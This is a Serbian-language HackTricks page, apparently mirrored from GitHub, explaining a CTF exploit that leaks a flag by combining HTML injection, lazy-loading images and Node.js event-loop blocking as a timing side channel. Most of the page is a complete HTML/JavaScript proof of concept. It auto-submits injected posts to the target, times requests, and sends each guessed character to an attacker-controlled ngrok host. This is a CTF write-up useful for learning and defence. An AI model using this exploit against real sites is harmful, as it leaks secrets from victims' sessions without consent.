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https://github.com/carlospolop/hacktricks
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163 lines
7.1 KiB
Markdown
163 lines
7.1 KiB
Markdown
# Blokiranje petlje događaja + Lenje slike
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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U [**ovom eksploit-u**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) kombinuje tehniku **lenjih slika kao kanal za komunikaciju** putem HTML ubacivanja sa vrstom **tehnike blokiranja petlje događaja** kako bi otkrio karaktere.
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Ovo je **različit eksploit za CTF izazov** koji je već komentarisao na sledećoj stranici. Pogledajte za više informacija o izazovu:
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{% content-ref url="connection-pool-example.md" %}
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[connection-pool-example.md](connection-pool-example.md)
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{% endcontent-ref %}
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Ideja iza ovog eksploita je:
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* Postovi se učitavaju abecednim redom
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* **Napadač** može **ubaciti** post koji počinje sa **"A"**, zatim neki **HTML tag** (poput velikog **`<canvas`**) će zauzeti veći deo **ekrana** i nekoliko krajnjih **`<img lazy` tagova** za učitavanje stvari.
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* Ako umesto "A" **napadač ubaci isti post koji počinje sa "z"**, **post** sa **flag-om** će se **prvo pojaviti**, a zatim će se **ubaceni post** pojaviti sa početnim "z" i **velikim canvas-om**. Zato što je post sa flag-om prvo se pojavio, prvi canvas će zauzeti ceo ekran i krajnji **`<img lazy`** tagovi ubačeni **neće biti vidljivi** na ekranu, tako da se **neće učitati**.
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* Zatim, **dok** bot **pristupa** stranici, **napadač će slati fetch zahteve**. 
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* Ako se **slike** ubačene u post **učitavaju**, ovi **fetch** zahtevi će trajati **duže**, tako da napadač zna da je **post pre flag-a** (abecedno).
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* Ako su **fetch** zahtevi **brzi**, to znači da je **post** **abecedno posle** flag-a.
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Hajde da proverimo kod:
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```html
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<!DOCTYPE html>
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<html>
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<!--
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
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If images are loading, the request to "/" is slower, otherwise faster.
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By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
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We can use fetch to measure the request time.
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-->
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<body>
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<button onclick="run()">start</button>
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<!-- Inject post with payload -->
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<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
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<input id=inp name="text" value="">
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</form>
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<!-- Remove index -->
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<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
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<input id=inp2 name="index" value="">
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</form>
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<script>
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let flag = 'SEKAI{'
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const TARGET = 'https://safelist.ctf.sekai.team'
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f.action = TARGET + '/create'
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f2.action = TARGET + '/remove'
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const sleep = ms => new Promise(r => setTimeout(r, ms))
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// Function to leak info to attacker
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const send = data => fetch('http://server.ngrok.io?d='+data)
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const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
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// start exploit
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let count = 0
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setTimeout(async () => {
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let L = 0
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let R = charset.length - 1
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// I have omited code here as apparently it wasn't necesary
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// fallback to linerar since I am not familiar with binary search lol
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for(let i=R; i>=L; i--) {
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let c = charset[i]
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send('try_' + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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send('found: '+ flag+c)
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flag += c
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break
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}
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}
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}, 0)
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async function testChar(str) {
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return new Promise(resolve => {
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/*
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For 3350, you need to test it on your local to get this number.
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The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
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If starts with "A", the image should be loaded because it's in the threshold.
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*/
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// <canvas height="3350px"> is experimental and allow to show the injected
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// images when the post injected is the first one but to hide them when
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// the injected post is after the post with the flag
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inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
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f.submit()
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setTimeout(() => {
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run(str, resolve)
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}, 500)
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})
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}
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async function run(str, resolve) {
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// Open posts page 5 times
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for(let i=1; i<=5;i++) {
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window.open(TARGET)
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}
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let t = 0
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const round = 30 //Lets time 30 requests
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setTimeout(async () => {
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// Send 30 requests and time each
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for(let i=0; i<round; i++) {
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let s = performance.now()
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await fetch(TARGET + '/?test', {
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mode: 'no-cors'
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}).catch(err=>1)
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let end = performance.now()
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t += end - s
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console.log(end - s)
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}
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const avg = t/round
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// Send info about how much time it took
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send(str + "," + t + "," + "avg:" + avg)
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/*
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I get this threshold(1000ms) by trying multiple times on remote admin bot
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for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
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*/
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const isFound = (t >= 1000)
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if (isFound) {
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inp2.value = "0"
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} else {
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inp2.value = "1"
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}
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// remember to delete the post to not break our leak oracle
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f2.submit()
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setTimeout(() => {
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resolve(isFound)
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}, 200)
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}, 200)
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}
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</script>
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</body>
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</html>
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```
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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